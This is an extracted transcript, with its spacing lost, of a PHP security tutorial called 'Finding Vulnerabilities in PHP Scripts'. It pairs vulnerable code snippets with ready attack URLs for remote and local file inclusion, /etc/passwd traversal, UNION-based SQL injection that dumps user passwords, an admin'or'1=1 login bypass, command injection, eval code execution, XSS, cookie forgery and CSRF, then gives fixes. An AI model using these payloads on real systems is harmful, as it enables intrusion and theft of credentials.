finding vulnerabilities in php scripts full

Upload: hamza-johnny

Post on 05-Apr-2018

225 views

Category:

Documents


0 download

TRANSCRIPT

  • 7/31/2019 Finding Vulnerabilities in PHP Scripts FULL

    1/23

    =========================================FindingvulnerabilitiesinPHPscriptsFULL=========================================

    Name:FindingvulnerabilitiesinPHPscriptsFULL(withexamples)Author:SirGodEmail:[email protected]:

    1)About2)Somestuff3)RemoteFileInclusion3.0-Basicexample

    3.1-Simpleexample3.2-Howtofix

    4)LocalFileInclusion4.0-Basicexample

    4.1-Simpleexample4.2-Howtofix

    5)LocalFileDisclosure/Download5.0-Basicexample

    5.1-Simpleexample5.2-Howtofix

    6)SQLInjection

    6.0-Basicexample6.1-Simpleexample6.2-SQLLoginBypass6.3-Howtofix

    7)InsecureCookieHandling7.0-Basicexample

    7.1-Simpleexample7.2-Howtofix

    8)RemoteCommandExecution8.0-Basicexample

    8.1-Simpleexample8.2-Advancedexample8.3-Howtofix

    9)RemoteCodeExecution9.0-Basicexample9.1-Simpleexample

    9.2-Howtofix10)Cross-SiteScripting10.0-Basicexample10.1-Anotherexample

    10.2-Simpleexample10.3-Howtofix

    11)AuthenticationBypass11.0-Basicexample11.1-Vialoginvariable

    11.2-UnprotectedAdminCP

    11.3-Howtofix12)InsecurePermissions12.0-Basicexample12.1-Readtheusers/passwords

    12.2-Downloadbackups12.3-INCfiles12.4-Howtofix

    13)CrossSiteRequestForgery13.0-Basicexample

    13.1-Simpleexample

  • 7/31/2019 Finding Vulnerabilities in PHP Scripts FULL

    2/23

    13.2-Howtofix14)Shoutz1)InthistutorialIwillshowyouhowyoucanfindvulnerabilitiesinphpscripts.Iwillnotexplain

    howtoexploitthevulnerabilities,itisprettyeasyandyoucanfindinfoaroundtheweb.Allthe

    exampleswithoutthebasicexampleofeachcategorywasfoundedindifferentscripts.2)First,installApache,PHPandMySQLonyourcomputer.AddionallyyoucaninstallphpMyAdmin.

    YoucaninstallWAMPserverforexample,ithasallinone..Mostvulnerabilitiesneedspecialconditionstowork.SoyouwillneedtosetupproperlythePHPconfigurationfile(php.ini).IwillshowyouwhatconfigurationIuseandwhy:

    safe_mode=off(alotofshitcannotbedonewiththison)disabled_functions=N/A(noone,wewantall)register_globals=on(wecansetvariablesbyrequest)allow_url_include=on(forlfi/rfi)

    allow_url_fopen=on(forlfi/rfi)magic_quotes_gpc=off(thiswillescape'"\andNUL'swithabackslashandwedon'twantthat)short_tag_open=on(somescriptsareusingshorttags,betteron)file_uploads=on(wewanttoupload)display_errors=on(wewanttoseethescripterrors,maybesomeundeclaredvariables?)Howtoproceed:First,createadatabasetobeusedbydifferentscripts.Installthescriptonlocalhostandstarttheauditoverthesourcecode.Ifyoufoundsomethingopenthewebbrowserandtestit,maybeyouarewrong.

    3)RemoteFileInclusion-Tips:YoucanusetheNULLBYTEand?trick.

    YoucanuseHTTPSandFTPtobypassfilters(httpfiltered)

    InPHPis4functionsthroughyoucanincludecode.

    require-require()isidenticaltoinclude()exceptuponfailureitwi

    llproduceafatalE_ERRORlevelerror.require_once-isidenticaltorequire()exceptPHPwillcheckifthefilehasalreadybeenincluded,andifso,notinclude(require)itagain.include-includesandevaluatesthespecifiedfile.include_once-includesandevaluatesthespecifiedfileduringtheexecutionofthescript.

    3.0-Basicexample

  • 7/31/2019 Finding Vulnerabilities in PHP Scripts FULL

    3/23

    -Tips:somescriptsdon'taccept"http"invariables,"http"word

    isforbbidensoyoucanuse"https"or"ftp".

    -Codesnippetfromtest.php

    -----------------------------------------------------------------------------------------------Ifweaccessthepagewegotsomeerrorsandsomewarnings(n

    otpasted):Notice:Undefinedindex:paginainC:\wamp\www\test.phponline

    2

    -Wecanseeherethat"pagina"variableisundeclared.Wecansetanyvalueto"pagina"variable.Example:

    http://127.0.0.1/test.php?pagina=http://evilsite.com/evilsc

    ript.txt NowIwillshowwhysomepeopleuse?and%00afterthe

    linktotheevilscript.

    #The"%00"

    -Codesnippetfromtest.php-----------------------------------------------------------------------------------------------Soifwewillrequesthttp://127.0.0.1/test.php?pagina=http://evilsite.com/evilsc

    ript.txtWillnotworkbecausethescriptwilltrytoincludehttp://ev

    ilsite.com/evilscript.txt.phpSowewilladdaNULLBYTE(%00)andalltheshitafternullb

    ytewillnotbetakenin

    consideration.Example:http://127.0.0.1/test.php?pagina=http://evilsite.com/evilsc

    ript.txt%00

    Thescriptwillsuccessfullyincludeourevilscriptandwillthrowtojunkthethings

    afterthenullbyte.#The"?"

  • 7/31/2019 Finding Vulnerabilities in PHP Scripts FULL

    4/23

    -Codesnippetfromtest.php-----------------------------------------------

    -----------------------------------------------Andthelogged=1willbecomelikeavariable.Butbetterusen

    ullbyte.Example:http://127.0.0.1/test.php?pagina=http://evilsite.com/evilsc

    ript.txt?logged=1

    Theevilscriptwillbeincludedsuccesfully.

    3.1-Simpleexample Nowanexamplefromascript.

    -Codesnippetfromindex.php

    ----------------------------------------------------if(isset($_REQUEST["main_content"])){

    $main_content=$_REQUEST["main_content"];}elseif(isset($_SESSION["main_content"])){$main_content=$_SESSION["main_content"];}

    .......................etc..................ob_start();

    require_once($main_content);----------------------------------------------------

    Wecanseethat"main_content"variableisrequestedby$_REQUESTmethod.Theattackercansetanyvaluethathewant.Belowthe"main_content"variableis

    include.Soifwemakethefollowingrequest:

    http://127.0.0.1/index.php?main_content=http://evilsite.com/evilscript.txt

    Ourevilscriptwillbesuccessfullyincluded.

    3.2-Howtofix

    Simpleway:Don'tallowspecialcharsinvariables.Simpleway:

    filtertheslash"/".Anotherway:filter"http","https","ftp"and"smb".

    4)LocalFileInclusion

  • 7/31/2019 Finding Vulnerabilities in PHP Scripts FULL

    5/23

    -Tips:YoucanusetheNULLBYTEand?trick.../meanadirectoryup

    OnWindowssystemswecanuse"..\"insteadof"../".The"..\"willbecome"..%5C"(urlencoded).

    Thesamefunctionswhichletyoutoinclude(include,include_once,req

    uire,require_once).4.0-Basicexample

    -Codesnippetfromtest.php----------------------------------------------------------------------Now,wecannotincludeourscriptbecausewecannotinclud

    eremotefiles.Wecanincludeonlylocalfilesasyousee.Soifwemakethefollowingreque

    st: http://127.0.0.1/test.php?pagina=../../../../../../etc/passwd

    Thescriptwillinclude"/pages/../../../../../../etc/p

    asswd"successfully.

    Youcanusethe%00and?.Thesamestory.

    4.1-Simpleexample

    -Codesnippetfrominstall/install.php-------------------------------------if(empty($_GET["url"]))

    $url='step_welcome.php';else $url=$_GET["url"];

    .............etc.............

    -------------------------------------Wecanseethat"url"variableisinjectable.Ifthe"url"va

    riableisnotset

    (isempty)thescriptwillinclude"step_welcome.php"elsewillincludethe

    variablesetbytheattacker.Soifwedothefollowingrequest:

    http://127.0.0.1/install/install.php?url=../../../../../../etc/passwd

    The"etc/passwd"filewillbesuccesfullyincluded.

  • 7/31/2019 Finding Vulnerabilities in PHP Scripts FULL

    6/23

    4.2-Howtofix

    Simpleway:Don'tallowspecialcharsinvariables.Simpleway:filterthedot"."

    Anotherway:Filter"/","\"and".".

    5)LocalFileDisclosure/Download -Tips:Throughthisvulnerabilityyoucanreadthecontentoffi

    les,notinclude.Somefunctionswhichletyoutoreadfiles:file_get_contents??Readsentirefileintoastringreadfile??Outputsafilefile??Readsentirefileintoanarrayfopen??OpensfileorURLhighlight_file??Syntaxhighlightingofafile.Printsoutor

    returnsasyntax

    highlightedversionofthecodecontainedinfilenameusingthecolorsdefinedinthebuilt-in

    syntaxhighlighterforPHP.show_source??Aliasofhighlight_file()

    5.0-Basicexample

    -Codesnippetfromtest.php

    --------------------------------------

    --------------------------------------Thereadfile()functionwillreadthecontentofthespecifi

    edfile.Soifwedothefollowingrequest:

    http://127.0.0.1/test.php?pagina=../../../../../../etc/passwd

    Thecontentofetc/passwdwillbeoutputedNOTincluded.

    5.1-Simpleexample

    -Codesnippetfromdownload.php--------------------------------------------------------------

    ---------------------$file=$_SERVER["DOCUMENT_ROOT"].$_REQUEST['file'];

  • 7/31/2019 Finding Vulnerabilities in PHP Scripts FULL

    7/23

    header("Pragma:public");header("Expires:0");header("Cache-Control:must-revalidate,post-check=0,pre-chec

    k=0");

    header("Content-Type:application/force-download");header("Content-Disposition:attachment;filename=".basename(

    $file));

    //header("Content-Description:FileTransfer");@readfile($file);die();--------------------------------------------------------------

    ---------------------The"file"variableisunsecure.Weseeinfirstlinethatit

    isrequestedby$_REQUESTmethod.Andthefileisdisclosedbyreadfile()function.Sowecansee

    thecontentofanarbitraryfile.Ifwemakethefollowingrequest:http://127.0.0.1/download.php?file=../../../../../../etc/p

    asswd

    Sowecansuccesfullyreadthe"etc/passwd"file.

    5.2-Howtofix

    Simpleway:Don'tallowspecialcharsinvariables.Simpleway:filterthedot"."

    Anotherway:Filter"/","\"and".".

    6)SQLInjection

    -Tips:Iftheuserhavefileprivilegesyoucanreadfiles.Iftheuserhavefileprivilegesandyoufindawrita

    bledirectoryandmagic_quotes_gpc=offyoucanuploadyoucodeintoafile.

    6.0-Basicexample

    -Codesnippetfromtest.php

    --------------------------------------------------------------

    --------------------

  • 7/31/2019 Finding Vulnerabilities in PHP Scripts FULL

    8/23

    http://127.0.0.1/test.php?id=1+union+all+select+1,null,load_

    file('etc/passwd'),4--

    Andwegetthe"etc/passwd"fileifmagic_quotes=off(escaping')andusershave

    fileprivileges.

    6.1-Simpleexample-Codesnippetfromhouse/listing_view.php

    -----------------------------------------------------------------------------------------------------------------------------

    $id=$_GET['itemnr'];require_once($home."mysqlinfo.php");$query="SELECTtitle,type,price,bedrooms,distance,address,phone,comments,handle,imagefromRentalswhereid=$id";$result=mysql_query($query);

    if(mysql_num_rows($result)){$r=mysql_fetch_array($result);--------------------------------------------------------

    ---------------------------------------------------------------------

    Weseethat"id"variablevalueisthevaluesetfor"itemnr"andisnotfilteredinanyway.

    Sowecaninjectourcode.Letsmakearequest:http://127.0.0.1/house/listing_view.php?itemnr=null+u

    nion+all+select+1,2,3,concat(0x3a,email,password),5,6,7,8,9,10+from+users--

    Andwegettheemailandthepasswordfromtheuserstable.

    6.2-SQLInjectionLoginBypass

    -Codesnippetfrom/admin/login.php-------------------------------------------------------------

    -----------------------------------------------------------------$postbruger=$_POST['username'];

    $postpass=md5($_POST['password']);$resultat=mysql_query("SELECT*FROM".$tablestart."loginWHEREbrugernavn='$postbruger'ANDpassword='$postpass'")ordie("

    ".mysql_error()."

    \n");--------------------------------------------------------------------

    ----------------------------------------------------------Thevariablesisn'tproperlychecked.Wecanbypassthislogi

    n.Letsinjectthefollowingusernameandpassword:

    username:admin'or'1=1password:sirgodWeloggedin.Why?Look,thecodewillbecome

  • 7/31/2019 Finding Vulnerabilities in PHP Scripts FULL

    9/23

    ---------------------------------------------------------------------------------------------------------------------------------

    $resultat=mysql_query("SELECT*FROM".$tablestart."loginWHEREbrugernavn='admin''or'1=1ANDpassword='sirgod'")

    ---------------------------------------------------------------------------------------------------------------------------------

    Loginbypassed.Theusernamemustbeanexistentusername.

    6.3-Howtofix

    Simpleway:Don'tallowspecialcharsinvariables.Fornumericvariables

    use(int),example$id=(int)$_GET['id'];Anotherway:Fornon-numericvariables:filterallspe

    cialcharsusedin SQLI:-,.()'"_+/*

    7)InsecureCookeHandling

    -Tips:WritethecodeintheURLbar,don'tuseacookieeditorforthis.

    7.0-Basicexample-Codesnippetfromtest.php

    ---------------------------------------------------------------if($_POST['password']==$thepass){setcookie("is_user_logged","1");

    }else{die("Loginfailed!");}............etc.................if($_COOKIE['is_user_logged']=="1"){include"admin.php";else{die('notlogged');}---------------------------------------------------------------

    Somethinginterestinghere.Ifwesettothe"is_user_logged"variable

    fromcookievalue"1"weareloggedin.Example:javascript:document.cookie="is_user_logged=1;path=/";Sopracticallyweareloggedin,wepassthecheckandwecanac

    cesstheadminpanel.7.1-Simpleexample-Codesnippetfromadmin.php

    ----------------------------------------------------------------if($_COOKIE[PHPMYBCAdmin]==''){

  • 7/31/2019 Finding Vulnerabilities in PHP Scripts FULL

    10/23

    if(!$_POST[login]=='login'){die("PleaseLogin:
    ");}elseif($_POST[password]==$bcadminpass){setcookie("PHPMYBCAdmin","LOGGEDIN",time()+60*60);header("Location:admin.php");}else{die("Incorrect");}}----------------------------------------------------------------

    Codelooksexploitable.Wecansetacookievaluethatletustobypassthelogin

    andtelltothescriptthatwearealreadyloggedin.Example:javascript:document.cookie="PHPMYBCAdmin=LOGGEDIN;path=/";do

    cument.cookie="1246371700;path=/";Whatis1246371700?Isthecurrenttime()echo'ed+360.

    7.2-HowtofixSimpleway:Themostsimpleandeficientway:useSESSIONS.

    8)RemoteCommandExecution-Tips:Ifinscriptisusedexec()youcan'tseethecommandoutp

    ut(butthecommandisexecuted)untiltheresultisn'techo'edfromscript.

    YoucanuseANDoperator(||)ifthescriptexecutemorethanonecommand.

    InPHParesomefunctionsthatletyoutoexecutecommands:

    exec??Executeanexternalprogrampassthru??Executeanexternalprogramanddisplayrawoutputshell_exec??Executecommandviashellandreturnthecompleteoutputasastringsystem??Executeanexternalprogramanddisplaytheoutput

    8.0-Basicexample

    -Codesnippetfromtest.php------------------------------------------------------------------Soifwemakethefollowingrequest:http://127.0.0.1/test.php?cmd=whoamiThecommandwillbeexecutedandtheresultwillbeoutputed.

  • 7/31/2019 Finding Vulnerabilities in PHP Scripts FULL

    11/23

    8.1-Simpleexample-Codesnippetfromdig.php

    ------------------------------------------------------------

    -------------------------------$status=$_GET['status'];$ns=$_GET['ns'];$host=$_GET['host'];$query_type=$_GET['query_type'];//ANY,MX,A,etc.$ip=$_SERVER['REMOTE_ADDR'];$self=$_SERVER['PHP_SELF'];........................etc........................$host=trim($host);$host=strtolower($host);echo("Executing:dig@$ns$

    host$query_type
    ");echo'';

    system("dig@$ns$host$query_type");--------------------------------------------------------

    -----------------------------------

    The"ns"variableisunfilteredandcanbespecifiedbytheattacker.Anattackercanuseanycommandthathewantthroughthisvariable.

    Letsmakearequest:

    http://127.0.0.1/dig.php?ns=whoam&host=sirgod.net&quer

    y_type=NS&status=diggingTheinjectionwillfail.Why?Theexecutedcommandwillb

    e:digwhoamisirgod.comNSandwillnotworkofcourse.Letsdosomethingalittlebitt

    ricky.WehavetheANDoperator(||)andwewilluseittoseparethecommands.Example:

    http://127.0.0.1/dig.php?ns=||whoami||&host=sirgod.net&que

    ry_type=NS&status=diggingOurcommandwillbeexecuted.Thecommandbecome"dig||whoami||

    sirgod.netNS".

    8.2-Advancedexample

    -Codesnippetfromadd_reg.php

    -------------------------------------------------------$user=$_POST['user'];$pass1=$_POST['pass1'];$pass2=$_POST['pass2'];$email1=$_POST['email1'];$email2=$_POST['email2'];$location=$_POST['location'];

  • 7/31/2019 Finding Vulnerabilities in PHP Scripts FULL

    12/23

    $url=$_POST['url'];$filename="./sites/".$user.".php";...................etc......................$html="";$fp=fopen($filename,'a+');fputs($fp,$html)ordie("Couldnotopenfile!");-------------------------------------------------------

    Wecanseethatthescriptcreatesaphpfilein"sites"direc

    tory(ourusername.php).Thescriptsavealltheuserdatainthatfilesowecaninjectourevilcodeintoonefield,Ichoosethe"location"variable.

    Soifweregisterasanuserwiththelocation(setthe"locat

    ion"value):

    thecodeinsidesites/ourusername.phpwillbecome:

    -------------------------------------------------

  • 7/31/2019 Finding Vulnerabilities in PHP Scripts FULL

    13/23

    andwewillhavenoerror.Why?Seethecode: $location="";?>

  • 7/31/2019 Finding Vulnerabilities in PHP Scripts FULL

    14/23

    http://127.0.0.1/test.php?code=phpinfo();

    http://127.0.0.1/test.php?code=system(whoami);

    AndwewillseetheoutputofthePHPcodeinjectedbyus.

    9.1-Simpleexample-Codesnippetfromsystem/services/init.php

    ------------------------------------------------$conf=array_merge($conf,$confweb);}@eval(stripslashes($_REQUEST['anticode']));

    if($_SERVER['HTTP_CLIENT_IP'])------------------------------------------------Weseethatthe"anticode"isrequestedby$_REQUESTmethoda

    ndthecoder"secured"theinputwith"stripslashes"whichisuselesshere,

    wedon'tneedslashestoexecuteourphpcodeonlyifwewanttoincludeaU

    RL.Sowecan injectourPHPcode.Example:http://127.0.0.1/test.php?anticode=phpinfo();

    Great,injectiondone,phpinfo()resultprinted.Noincludebecauseslashesare

    removed,butwecanusesystem()oranotherfunctiontoexecutecommands.

    9.2-Howtofix

    Simpleway:Don'tallow";"andthePHPcodewillbeinvalid.Anotherway:Don'tallowanyspecialcharlike"("or"

    )"etc.

    10)Cross-SiteScripting-Tips:Youcanusealotofvectors,cantryalotofbypassmethods

    ,youcandfindthemaroundtheweb.

    10.0-Basicexample-Codesnippetfromtest.php

    ---------------------------------

  • 7/31/2019 Finding Vulnerabilities in PHP Scripts FULL

    15/23

    ?>---------------------------------

    Theinputisnotfiltered,anattackercaninjectJavaScript

    code.Example:http://127.0.0.1/test.php?name=alert("XSS")

    ApopupwithXSSmessagewillbedisplayed.JavaScriptco

    desuccesfullyexecuted.

    10.1-Anotherexample-Codesnippetfromtest.php

    --------------------------------------------------------------------------------------

    Notanadvancedexample,onlyabitcomplicated.

    http://127.0.0.1/test.php?name=">alert(String.fromCharCode(88,83,83))

    Whythisvector?Weput"becausewemustclosethe"fromthe"name"atribut

    ofthe"table"tagand>toclosethe"table"tag.WhyString.fromCharCode?Because

    wewanttobypassaddslashes()function.Injectiondone.

    10.2-Simpleexample

    -Codesnippetfrommodules.php-------------------------------------------------------------

    --------------if(isset($name)){....................etc................}else{die("Lefichiermodules/".$name."/".$mod_file.".phpestinexi

    stant");-------------------------------------------------------------

    --------------

    The"name"variableisinjectable,inputisnotfiltered,sowe

    caninjectwitheaseJavaScriptcode.Example:http://127.0.0.1/test.php?name=alert("XSS")

    10.3-Howtofix

  • 7/31/2019 Finding Vulnerabilities in PHP Scripts FULL

    16/23

    Simpleway:Usehtmlentities()orhtmlspecialchars()function

    s.Example:$name=htmlentities($_GET['name']

    );Anotherway:FilterallspecialcharsusedforXSS(

    alot).Thebestwayisthefirstmethod.

    11)AuthenticationBypass-Tips:Lookdeepinthescripts,lookintheadmindirectories,

    maybearenotprotected,alsolookforundefinedvariables

    like"login"or"auth".

    11.0-Basicexample

    Iwillprovideasimpleexampleofauthenticationbypass

    vialoginvariable.-Codesnippetfromtest.php------------------------------------------------------------------

    Hereweneedregister_gloabals=on.Iwilltalkaboutphp.ini

    settingsabitlaterinthistutorial.Ifwesetthevalueof$logged

    variableto1theifconditionwillbetrueandweareloggedin.

    Example:

    http://127.0.0.1/test/php?logged=1

    Andweareloggedin.

    11.1-Vialoginvariable

    -Codesnippetfromlogin.php---------------------------------------------------------------

    ---------------------if($login_ok){

  • 7/31/2019 Finding Vulnerabilities in PHP Scripts FULL

    17/23

    $_SESSION['loggato']=true;echo"

    $txt_pass_ok

    ";echo"$txt_view_entry|$txt_delete-$txt_edit|$txt_install";}---------------------------------------------------------------

    ---------------------Letssee.Ifthe"login_ok"variableisTRUE(1)thescripts

    etusaSESSIONwhotelltothescriptthatweareloggedin.Soletssetthe"login_ok"variabletoTRUE.

    Example:http://127.0.0.1/login.php?login_ok=1

    Nowweareloggedin.

    11.2-UnprotectedAdminCP

    Youcouln'tbelivethisbutsomePHPscripsdon'tprotecttheadmincontrolpanel:nologin,no.htaccess,nothing.Sowesimplywe

    gototheadminpaneldirectoryandwetakethecontrolofthewebsi

    te.Example:http://127.0.0.1/admin/files.php

    Weaccessedtheadminpanelwithasimplerequest.

    11.3-Howtofix-Loginvariablebypass:UseaREALauthenticationsystem,don'tc

    hecktheloginlikethat,useSESSIONverificati

    on.Example:if($_SESSION['logged']==1){

    echo'Loggedin';}else{echo'Notloggedin';}

    -UnprotectedAdminCP:Useanauthenticationsystemoruse.htaccessto

    allowaccessfromspecificIP'sor.htpasswdto

    requestanusernameandapasswordforadminCP.

    Example:

    .htaccess:

  • 7/31/2019 Finding Vulnerabilities in PHP Scripts FULL

    18/23

    orderdeny,allowdenyfromallallowfrom127.0.0.1

    .htpasswd:AuthUserFile/the/path/.htpasswdAuthTypeBasicAuthName"AdminCP"Requirevalid-user

    and/the/path/.htpasswd

    sirgod:$apr1$wSt1u...$6yvagxWk.Ai2bD6s6O9iQ.

    12)InsecurePermissionsTips:Lookdeepintothefiles,lookifthescriptrequesttobe

    loggedintodosomething,maybethescriptdon'trequest.Watchoutforinsecurepermissions,maybeyoucando

    admin

    thingswithoutlogin.

    12.0-Basicexample

    Wearethinkingatascriptwholettheadmintohavealookupin

    theusersdatabasethroughafileplacedin/admindirectory.That

    fileisnamed...hmmm:db_lookup.php.-Codesnippetfromadmin/db_lookup.php

    ----------------------------------------------------------------------------------------Letsthink.Wecannotaccessthe"protected"directorybecauseis.htaccess'ed.Butlookatthisfile,nologged-incheck,nothi

    ng.Soifweacces:

    http://127.0.0.1/admin/db_lookup.php

    Wecanseethedatabase.Remember,thisisonlyanexamplecreatedby

    me,notarealone,youcanfindthiskindofvulnerabilitiesinscripts.

    12.1-Readtheusers/passwords

  • 7/31/2019 Finding Vulnerabilities in PHP Scripts FULL

    19/23

    Ohyeah,somecodersaresostupid.Theysavetheusernamesandpass

    wordsintextfiles,UNPROTECTED.Asimpleexamplefromascript:http://127.0.0.1/userpwd.txt

    Andwereadthefile,theusernamesandpasswordsarethere.

    12.2-DownloadBackups

    Somescriptshavedatabasebackupfunctions,somearesafe,somearenotsafe.

    Iwillshowyouarealscriptexample:

    -Codesnippetfrom/adminpanel/phpmydump.php-------------------------------------------------------

    -------------------------functionmysqlbackup($host,$dbname,$uid,$pwd,$struct

    ure_only,$crlf){$con=@mysql_connect("localhost",$uid,$pwd)ordie("Cou

    ldnotconnect"); $db=@mysql_select_db($dbname,$con)ordie("Couldnotselectdb");

    ..............................etc..........................

    mysqlbackup($host,$dbname,$uname,$upass,$structure_only,$crlf);

    --------------------------------------------------------------------------------

    Afteralofofcodethefunctioniscalled.Idon'tpaste

    dtheentirecodebecauseishuge.Ianalyzedthescript,nologinrequired,noche

    ck,nothing.So ifweaccessthefiledirectlythedownloadofthebackupwillstart.Example:

    http://127.0.0.1/adminpanel/phpmydump.php

    Nowwehavethedatabasebackupsavedinourcomputer.

    12.3-INCfiles

    SomescriptssavesimportantdatainINCfiles.UsuallyinINC

    filesisPHPcodecontainingdatabaseconfiguration.TheINCfilescanbevi

    ewedinbrowsereventheycontainPHPcode.Soasimplerequestwillbe

    enoughtoaccessandreadthefile.Example:http://127.0.0.1/inc/mysql.inc

    Nowwehavethedatabaseconnectiondetails.Lookdeepinscri

  • 7/31/2019 Finding Vulnerabilities in PHP Scripts FULL

    20/23

    pts,ismorescriptswhosavesimportantdataintoINCfiles.

    12.4-Howtofix

    -Basicexample:Checkiftheadminisloggedin,ifnot,red

    irect.

    -Readtheusers/passwords:SavetherecordsinaMySQLdatabase

    orinaprotectedfile/directory.

    -DownloadBackups:Checkiftheadminisloggedin,ifnot,

    redirect.

    -INCfiles:Savetheconfigurationinproperfiles,like.phpor

    protectthedirectorywithan.htaccessfile.

    13)CrossSiteRequestForgery

    -Tips:ThroughCSRFyoucanchangetheadminpassword,isnot

    soinofensive.CanbeusedwithXSS,redirectedfromXSS.

    13.0-Basicexample

    -Codesnippetfromtest.php-----------------------------------------

    -----------------------------------------InthisexampleyouwillseewhatisCSRFandhowitworks.I

    nthe"files"directoryaresavedthenewswrittenbytheauthor.Thenewsa

    resavedlike

    "news1.txt","news2.txt"etc.Sotheadmincandeletethenews.Thenewsthat

    hewanttodeletewillbespecifiedin"news"variable.Ifhewanttodelete

    thenews1.txtthevalueof"news"willbe"1".Wecannotexecutethiswithout

    adminpermissions,look,thescriptcheckifweareloggedin.Iwillshowyouanexample.Ifwerequest:

    http://127.0.0.1/test.php?news=1

  • 7/31/2019 Finding Vulnerabilities in PHP Scripts FULL

    21/23

    The/news/news1.txtfilewillbedeleted.Thescriptdire

    ctlydeletethefilewithoutanynotice.Sowecanusethistodeleteafile.Allwe

    needistotricktheadmintoclickourevillinkandthefilespecifiedbyus

    inthe"news"variablewillbedeleted.

    13.1-SimpleexampleInawaythecodesbelowareincludedintheindex.phpfile,I

    willnotpastealltheincludes,therearealot.

    -Codesnippetfromincludes/pages/admin.php

    --------------------------------------------------------------------if($_GET['act']==''){include"includes/pages/admin/home.php";}else{include"includes/pages/admin/".$_GET['act'].".php";

    -------------------------------------------------------------

    ------- Herewecanseehowthe"includes/pages/admin/members.php"is

    includedinthisfile.If"act=members"thefilebelowwillbeincluded.

    -Codesnippetfromincludes/pages/admin/members.php-------------------------------------------------------------

    --------------------------------- if($_GET['func']=='delete'){ $del_id=$_GET['id'];

    $query2121="selectROLEfrom{$db_prefix}membersWHEREID='$del_id'"; $result2121=mysql_query($query2121)ordie("delete.php-Errorinquery:$query2121"); while($results2121=mysql_fetch_array($result2121)){ $their_role=$results2121['ROLE'];

    } if($their_role!='1'){mysql_query("DELETEFROM{$db_prefix}membersWHEREid='$del_id'")ordie(mysql_error());

    ----------------------------------------------------------------------------------------------

    Wecanseeherethatif"func=delete"willbecalledbyURL,t

    hescriptwilldeletefromthedatabaseauserwiththespecifiedID($id)

    withoutanyconfirmation.Example:http://127.0.0.1/index.php?page=admin&act=members&func=delet

    e&id=4

  • 7/31/2019 Finding Vulnerabilities in PHP Scripts FULL

    22/23

    Thescriptcheckiftheadminisloggedinsoifwetricktheadmintoclick

    ourevillinktheuserwhohavethespecifiedIDinthedatabasewillbedeleted

    withoutanyconfirmation.

    13.2-Howtofix-Simpleway:Usetokens.Ateachlogin,generatearandomtokenan

    dsaveitinthesession.RequestthetokeninURLtodoad

    ministrativeactions,ifthetokenmissingor

    iswrong,don'texecutetheaction.Iwillshowyouonlyhow

    totocheckifthetokenispresentandiscorrect.Example:

    -------------------------------------------------------

    --------------

    -----------------------------------------

    Therequestwilllooklikethis

    one:

    http://127.0.0.1/index.php?delete=1&token=[RANDOM_TOKEN]

    Sothisrequestwillbefine,the

    newswillbedeleted.

    -Anotherway:Dosomecomplicatedconfirmationsorrequestapassword

    todoadministrativeactions.

    14)Shoutz

    Shoutztoallwww.insecurity.ro&www.h4cky0u.orgmembers.Ifyouhavesomesuggestionsorquestionsjustemailme.

  • 7/31/2019 Finding Vulnerabilities in PHP Scripts FULL

    23/23

    #cli5.com[2009-09-09]